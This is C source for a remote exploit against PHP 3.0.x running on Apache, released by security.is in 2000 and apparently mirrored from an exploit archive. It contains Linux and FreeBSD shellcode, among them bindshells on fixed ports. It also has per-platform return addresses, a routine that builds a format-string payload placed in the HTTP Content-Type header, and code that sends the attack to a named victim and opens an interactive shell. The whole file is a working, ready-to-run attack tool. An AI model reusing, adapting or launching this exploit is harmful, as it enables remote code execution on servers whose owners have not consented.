home *** CD-ROM | disk | FTP | other *** search
- /*
- * Copyright (c) 2000 - Security.is
- *
- * Discovered and exploited by portal and tf8 of security.is, June 2000
- * Published in October, 2000.
- *
- * Greetings go to:
- * the rest security.is staff: nop, DiGiT, rash, etc.
- * stealth; ADM folks (anti#$%, mika!!); and others,
- * you know who you are.
- *
- * THERE IS NO WARRANTY FOR THIS PROGRAM OF ANY KIND. YOU ARE RESPONSIBLE
- * FOR YOUR OWN ACTIONS. THIS IS INTENDED AS A DEMONSTRATION OF THE WEAK-
- * NESS, NOT A SCRIPTKIDDIE TOOL. THE REASON FOR THE DISCLOSURE IS MAINLY
- * BECAUSE OF AGE OF THE VULNERABILITY AND THE EXPLOIT, AND THE FACT THAT
- * ACTUAL SUCCESS IS LIMITED TO THE KNOWLEDGE OF THE USER.
- */
-
-
- #include <stdio.h>
- #include <stdarg.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #if !defined(__FreeBSD__)
- # include <getopt.h>
- #endif
-
-
- #define xLITTLE_ENDIAN 1
- #define xBIG_ENDIAN 2
- #define PERSISTANT 1
- #define ESYSLOG 1
- #define EFILE 2
-
- #define COOKIE_SIZE 1000
- #define ADDRESS_BUFFER_SIZE 8*4
- #define ATTACK_BUFFER_SIZE 500
-
-
- struct _platforms
- {
- char *version;
- char *description;
- unsigned long cookie_address;
- unsigned long eip_address;
- int technique;
- int endian;
- int alignment;
- int padding;
- struct _shellcodes *shellcode;
- };
-
-
- struct _shellcodes
- {
- char *description;
- int length; /* depreciated */
- char *code;
- char *nop;
- int type;
- };
-
-
- /* note that the shellcodes may not contain 0x3d '=' */
-
- struct _shellcodes shellcodes[] =
- {
- {
- "Linux(x86) aleph1's execve shell -> /tmp/la",
- 45,
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
- "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
- "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/la",
- "\x90",
- 0
- }, {
- "Linux(x86) dup2 shell",
- 77,
- /* alarm(0);fork();dup2(1,0);dup2(2,0);execute /bin/sh;exit(0) */
- // "\xcc"
- "\x31\xc0\x31\xdb\x04\x0b\xcd\x80\x31\xc0\x40\x40\xcd\x80\x85"
- "\xc0\x75\x28\x89\xd9\x31\xc0\x41\x04\x3f\xcd\x80\x31\xc0\x04"
- "\x3f\x41\xeb\x1f\x31\xc0\x5f\x89\x7f\x08\x88\x47\x07\x89\x47"
- "\x0c\x89\xfb\x8d\x4f\x08\x8d\x57\x0c\x04\x0b\xcd\x80\x31\xc0"
- "\x31\xdb\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
- "\x90",
- PERSISTANT
- }, {
- "Linux(x86) bindshell on port 3879",
- 129,
- "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
- "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
- "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
- "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
- "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
- "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
- "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
- "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
- "\x90",
- 3879
- }, {
- "FreeBSD(x86) bindshell on port XXXX",
- 134,
- "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08"
- "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50"
- "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50"
- "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57"
- "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff"
- "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3"
- "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0"
- "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53"
- "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh",
- "\x90",
- 666
- }, {
- "FreeBSD(x86) execve shellcode by mudge@l0pht.com -> /tmp/la",
- 67,
- "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
- "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
- "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
- "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/la",
- "\x90",
- 0
- }, {
- NULL, 0, NULL, 0
- }
- };
-
-
- #define LINUX_EXECVE &shellcodes[0]
- #define LINUX_DUP2_SHELLCODE &shellcodes[1]
- #define LINUX_BINDSHELL &shellcodes[2]
- #define FREEBSD_BINDSHELL &shellcodes[3]
- #define FREEBSD_EXECVE &shellcodes[4]
-
-
- struct _platforms platforms[] =
- {
- {
- "PHP/3.0.16 on Apache 1.3.12, static",
- "Slackware Linux 7.0 glibc (DEVEL)",
- 0x0815b34c, 0xbfff9b54, //0xbfff9290,
- 3, xLITTLE_ENDIAN,
- 1, 124, /* 124 */
- LINUX_BINDSHELL
- }, {
- "PHP/3.0.12 on Apache 1.3.9, static",
- "Slackware Linux 4.0 libc (DEVEL)",
- 0x081688e8, 0xbfff9460,
- 3, xLITTLE_ENDIAN,
- 1, 116,
- LINUX_BINDSHELL
- }, {
- "PHP/3.0.12 on Apache 1.3.12, static",
- "Slackware Linux 7.0 glibc (DEVEL)",
- 0x0814bc88, 0xbfff931c,
- 3, xLITTLE_ENDIAN,
- 1, 112,
- LINUX_BINDSHELL
- }, {
- "PHP/3.0.15 on Apache/1.3.12, static",
- "FreeBSD 3.4-STABLE with package apache+php-1.3.12+3.0.15.tgz",
- /* -rwxr-xr-x 1 root wheel 748095 25 20:28 /usr/local/sbin/apache */
- /* /usr/local/sbin/apache: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked, not stripped */
- 0x81250e0, 0xbfbf7260, 3, xLITTLE_ENDIAN, 1, 112,
- FREEBSD_EXECVE
- }, {
- NULL, NULL, 0L, 0L, 0, 0, 0, 0, NULL
- }
- };
-
-
- char shellcode_buffer[COOKIE_SIZE+1];
- char attack_buffer[ATTACK_BUFFER_SIZE+1];
- char pad_buffer[256];
- char prepend_buffer[256];
- char append_buffer[256];
- struct in_addr ina;
- int debug_mode = 0;
- int emethod = 0;
- int sock = -1;
-
-
- int failure(char *format, ...)
- {
- va_list va;
-
- fprintf (stderr, " [-]: ");
-
- va_start (va, format);
- vfprintf (stderr, format, va);
- va_end (va);
-
- fprintf (stderr, "\n");
- fflush (stderr);
-
- exit(-1);
- }
-
-
- #undef DEBUG
-
-
- void technique_3(u_long eip_addr, u_long shellcode_addr, u_int previous)
- {
- int i;
- unsigned int tmp = 0;
- unsigned int copied = previous;
- unsigned int num[4] =
- {
- (unsigned int) (shellcode_addr & 0x000000ff),
- (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
- (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
- (unsigned int)((shellcode_addr & 0xff000000) >> 24)
- };
-
- memset (prepend_buffer, '\0', sizeof(prepend_buffer));
- memset (append_buffer, '\0', sizeof(append_buffer));
-
- for (i = 0; i < 4; i++)
- {
- while (copied > 0x100)
- copied -= 0x100;
-
- #ifdef DEBUG
- if (debug_mode)
- printf ("[#] num[%d] = %d (0x%02x), copied: %d\n", i, num[i], num[i], copied);
- #endif
-
- if ( (i > 0) && (num[i-1] == num[i]) ) /* copied == num[i], no change */
- {
- strcat (append_buffer, "%n");
- #ifdef DEBUG
- if (debug_mode)
- printf (" [+] num[%d] == num[%d-1], appending \"%%n\"\n", i, i);
- #endif
- } else if (copied < num[i])
- {
- if ( (num[i] - copied) <= 10)
- {
- #ifdef DEBUG
- if (debug_mode)
- printf (" [+] num[%d] > %d: %d bytes, skipping use of %%.u\n", i, copied, (num[i] - copied));
- #endif
- sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "PORTALPORTAL");
- copied += (num[i] - copied);
- strcat (append_buffer, "%n");
- } else {
- #ifdef DEBUG
- if (debug_mode)
- printf (" [+] num[%d] > %d: %d bytes, using %%.u\n", i, copied, (num[i] - copied));
- #endif
- sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied);
- copied += (num[i] - copied);
- strcat (append_buffer, "%n");
- strcat (prepend_buffer, "AAAA"); /* dummy */
- }
-
- } else //if (copied > num[i])
- {
- #ifdef DEBUG
- if (debug_mode)
- printf (" [+] num[%d] < %d: %d bytes, increasing\n", i, copied, (copied - num[i]));
- #endif
- tmp = ((num[i] + 0xff) - copied);
- sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
- copied += ((num[i] + 0xff) - copied);
- strcat (append_buffer, "%n");
- strcat (prepend_buffer, "AAAA");
- }
- sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
- (unsigned char) ((eip_addr+i) & 0x000000ff),
- (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
- (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
- (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
- }
-
- while (strlen(prepend_buffer) < ADDRESS_BUFFER_SIZE)
- strcat (prepend_buffer, "X");
-
- if (debug_mode)
- {
- printf ("\nGeneration complete:\nPrepend: ");
- for (i = 0; i < strlen(prepend_buffer); i++)
- {
- if ( ((i % 4) == 0) && (i > 0) )
- printf (".");
- printf ("%02x", (unsigned char)prepend_buffer[i]);
- }
- printf ("\nAppend: %s\n", append_buffer);
- }
-
- return;
- }
-
-
- void preparation(struct _platforms *pf)
- {
- int written_bytes = 0;
- int i;
-
- /* phase 1: put our nops and the shellcode in huge buffer */
-
- memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));
- for (i = 0; i < COOKIE_SIZE - pf->shellcode->length; )
- {
- memcpy (&shellcode_buffer[i], pf->shellcode->nop, strlen(pf->shellcode->nop));
- i += strlen(pf->shellcode->nop);
- }
- memcpy (&shellcode_buffer[COOKIE_SIZE - pf->shellcode->length],
- pf->shellcode->code, pf->shellcode->length+1);
-
- /* phase 2: start filling in our attack buffer */
-
- memset (attack_buffer, '\0', sizeof(attack_buffer));
- strcpy (attack_buffer, "Content-Type: multipart/form-data; ");
- for (i = 0; i < pf->alignment; i++)
- strcat (attack_buffer, "Z");
-
- written_bytes = strlen("The Content-Type string was: \"multipart/form-data; ");
- written_bytes += pf->alignment;
- /*
- switch (emethod)
- {
- case EFILE:
- written_bytes += 0;
- break;
-
- case ESYSLOG:
- written_bytes += 47;
- break;
- }
- */
- written_bytes += 47;
-
- /* phase 3: set up the correct padding */
-
- memset (pad_buffer, '\0', sizeof(pad_buffer));
- i = pf->padding;
-
- while (i >= 4)
- {
- /*
- strcpy (pad_buffer+strlen(pad_buffer), "%20.0f");
- written_bytes += 20;
- i -= 8;
- */
- strcat (pad_buffer, "%c");
- written_bytes += 1;
- i -= 4;
- }
-
- // written_bytes += ADDRESS_BUFFER_SIZE;
-
- /* phase 4: set up the address and impact buffers */
-
- switch (pf->technique)
- {
- case 1:
- /* bgennum() */
- case 2:
- /* tgennum() */
- case 3:
- technique_3 (pf->eip_address, pf->cookie_address, written_bytes);
- break;
-
- default:
- failure ("Unrecognized technique: \"%d\".\n", pf->technique);
- break; /* never reached */
- }
-
- /* phase 5: assemble the attack_buffer */
-
- strcat (attack_buffer, prepend_buffer);
- strcat (attack_buffer, pad_buffer);
- strcat (attack_buffer, append_buffer);
-
- while (strlen(attack_buffer) < ATTACK_BUFFER_SIZE)
- strcat (attack_buffer, ".");
-
- if (debug_mode)
- {
- printf (" [$] Attack buffer is:\n");
- for (i = 0; i < strlen(attack_buffer); i++)
- printf ("%02x ", (unsigned char)attack_buffer[i]);
- printf ("\n [$] That is,\n");
- for (i = 0; i < strlen(attack_buffer); i++)
- printf ("%c", (unsigned char)attack_buffer[i]);
- printf ("\n");
- }
-
- return;
- }
-
-
- struct in_addr *hostname_resolve(char *hostname, int show)
- {
- struct hostent *he = NULL;
-
- if ( (inet_aton(hostname, &ina)) == 0)
- {
- if ( (he = gethostbyname(hostname)) == NULL)
- failure ("Unable to resolve %s.\n", hostname);
-
- memcpy (&ina, he->h_addr, he->h_length);
- if (show)
- printf (" [+] Resolved %s to %s.\n", hostname, inet_ntoa(ina));
- }
-
- return (&ina);
- }
-
-
- int do_connect(char *hostname, int port, int do_resolve)
- {
- struct sockaddr_in sin;
- struct in_addr *in;
- int sockie = -1;
-
- in = hostname_resolve(hostname, do_resolve);
-
- if ( (sockie = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- failure ("Unable to get a socket.\n");
-
- memset (&sin, '\0', sizeof(struct sockaddr_in));
-
- sin.sin_family = PF_INET;
- sin.sin_port = htons(port);
- sin.sin_addr.s_addr = in->s_addr;
-
- if ( (connect (sockie, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 0)
- failure ("Unable to connect to %s:%d.\n", hostname, port);
-
- return (sockie);
- }
-
-
- /* FIX ME, let this only read one byte at a time, and stop on newlines! */
-
-
- int receive(char *buffer, size_t size)
- {
- struct timeval tv;
- fd_set fds;
- int i = -1;
-
- tv.tv_sec = 5;
- tv.tv_usec = 0;
-
- FD_ZERO (&fds);
- FD_SET (sock, &fds);
-
- i = select(sock+1, &fds, NULL, NULL, &tv);
-
- if (i < 0)
- return (-1);
-
- if (!FD_ISSET(sock, &fds))
- return (-2);
-
- (void)read (sock, buffer, size);
-
- return (0);
- }
-
-
- int transmit(char *format, ...)
- {
- char buffer[8192];
- struct timeval tv;
- fd_set fds;
- va_list va;
- int i = -1;
-
- tv.tv_sec = 5;
- tv.tv_usec = 0;
-
- FD_ZERO (&fds);
- FD_SET (sock, &fds);
-
- i = select(sock+1, NULL, &fds, NULL, &tv);
-
- if (i < 0)
- return (-1);
-
- if (!FD_ISSET(sock, &fds))
- return (-2);
-
- memset (buffer, '\0', sizeof(buffer));
-
- va_start (va, format);
- vsnprintf (buffer, sizeof(buffer)-1, format, va);
- va_end (va);
-
- (void)write (sock, buffer, strlen(buffer));
-
- return (0);
- }
-
-
- void usage(char *program_name)
- {
- int i;
-
- printf (" PHP3 REMOTE EXPLOIT - June 2000\n");
-
- printf ("%s <victim> <-s systype> <-f script> <-m ...> [options]\n", program_name);
- printf (" -s: Remote system type (must precede other arguments).\n");
- printf (" -f: A PHP3 script on the remote server (e.g. / or /index.php3.\n");
- printf (" -m: Method ('syslog' or 'file')\n");
- printf (" -P: Port to use (default 80, of course).\n");
- printf (" -C: Perform a version check on the remote host.\n");
- printf (" -P: Alter the number of bytes needed for padding.\n");
- printf (" -S: Change the shellcode to be used.\n");
- printf (" -r: Specify the EIP address.\n");
- printf (" -R: Change the address of the shellcode.\n");
- printf (" -d: Toggle debug-mode.\n");
- printf ("Available system types:\n");
-
- for (i = 0; platforms[i].version != NULL; i++)
- printf (" %d: %s; %s\n", i, platforms[i].version, platforms[i].description);
-
- printf ("Available shellcodes:\n");
- for (i = 0; shellcodes[i].description != NULL; i++)
- printf (" %d: %s\n", i, shellcodes[i].description);
-
- exit (0);
- }
-
-
- void bindshell(int rsock)
- {
- char buf[4096];
- fd_set fds;
- struct timeval tv;
- int i, r;
-
- printf (" [+] Running bindshell:\n");
-
- while (1)
- {
- FD_ZERO (&fds);
- FD_SET (0, &fds); /* stdin */
- FD_SET (rsock, &fds);
- tv.tv_sec = 1;
- tv.tv_usec = 0;
-
- i = select (rsock+1, &fds, NULL, NULL, &tv);
-
- if (i < 0)
- {
- close (rsock);
- failure ("Select() returned an error.\n");
- }
-
- if (i == 0) /* no change */
- continue;
-
- if (FD_ISSET (0, &fds))
- {
- memset (buf, '\0', sizeof(buf));
- i = read(0, buf, sizeof(buf)-1);
-
- if (i < 0)
- failure ("What the heck happened to your computer?\n");
-
- if (i > 0)
- {
- r = write (rsock, buf, i);
- if (r < 0)
- {
- close (rsock);
- failure ("Unable to transmit data, connection terminated.\n");
- }
- }
- }
-
- if (FD_ISSET (rsock, &fds))
- {
- memset (buf, '\0', sizeof(buf));
- i = read(rsock, buf, sizeof(buf)-1);
-
- if (i <= 0)
- {
- close (rsock);
- failure ("The connection was terminated.\n");
- }
-
- printf ("%s", buf);
- }
- }
-
- return; /* never reached */
- }
-
-
- int main(int argc, char **argv)
- {
- char *program_name = argv[0];
- char *victim = NULL;
- char *script = NULL;
- int do_version_check = 0;
- int systype = -1;
- int version = 0;
- int port = 80;
- int c;
-
- if (argc < 2)
- usage(argv[0]);
-
- victim = (char *)strdup(argv[1]);
- if (victim == NULL)
- failure ("Memory allocation failed.\n");
-
- argv++; argc--;
-
- while ( (c = getopt(argc, argv, "p:P:s:S:r:R:C:f:m:hd")) != EOF)
- {
- switch (c)
- {
- case 'P':
- port = atoi(optarg);
- break;
-
- case 's':
- systype = atoi(optarg);
- if (systype > 3)
- usage(program_name);
- break;
-
- case 'S':
- if (systype >= 0)
- platforms[systype].shellcode = &shellcodes[atoi(optarg)];
- else
- printf (" [-] Warning: S argument ignored because systype has not been selected.\n");
- break;
-
- case 'C':
- do_version_check = 0;
- break;
-
- case 'd':
- debug_mode = !debug_mode;
- break;
-
- case 'f':
- script = (char *)strdup(optarg);
- if (script == NULL)
- failure ("Buy more RAM!\n");
- break;
-
- case 'm':
- if (!strcasecmp (optarg, "syslog"))
- emethod = ESYSLOG;
- else if (!strcasecmp (optarg, "file"))
- emethod = EFILE;
- else
- failure ("Known methods are: 'syslog' and 'file'.\n");
- break;
-
- case 'p':
- if (systype >= 0)
- platforms[systype].padding = atoi(optarg);
- else
- printf (" [-] Warning: -p argument ignored because systype has not been selected.\n");
- break;
-
- case 'r':
- if (systype >= 0)
- platforms[systype].eip_address = strtoul(optarg, &optarg, 16);
- else
- printf (" [-] Warning: -r argument ignored because systype has not been selected.\n");
- break;
-
- case 'R':
- if (systype >= 0)
- platforms[systype].cookie_address = strtoul(optarg, &optarg, 16);
- else
- printf (" [-] Warning: -R argument ignored because systype has not been selected.\n");
- break;
-
- default:
- usage(program_name);
- break; /* not reached */
- }
- }
-
- if ( (systype < 0) || (script == NULL) || (emethod == 0) )
- usage(program_name);
-
- printf (" [+] Attacking: %s:%d.\n", victim, port);
- printf (" [+] System type: %s: %s.\n", platforms[systype].version,
- platforms[systype].description);
- printf (" [+] Shellcode: %s\n", platforms[systype].shellcode->description);
- printf (" [+] EIP address: %#08lx\n", platforms[systype].eip_address);
- printf (" [+] Shellcode address: %#08lx\n", platforms[systype].cookie_address);
-
- sock = do_connect(victim, port, 1);
-
- preparation((struct _platforms *)&platforms[systype]);
-
- transmit ("POST %s?STRENGUR HTTP/1.0\n", script);
- transmit ("Cookie: %s\n", shellcode_buffer);
- transmit ("Host: localhost\n");
- transmit ("%s\n", attack_buffer);
- transmit ("Content-Length: 1337\n\n");
- transmit ("too bad, dude. too bad.\n\n");
-
- switch (platforms[systype].shellcode->type)
- {
- case 0:
- break;
-
- case PERSISTANT:
- bindshell (sock);
- break;
-
- default:
- close (sock);
-
- sock = do_connect (victim, platforms[systype].shellcode->type, 0);
- bindshell (sock);
-
- break;
- }
-
- close (sock);
-
- return (0);
- }
- /* www.hack.co.za [12 October 2000]*/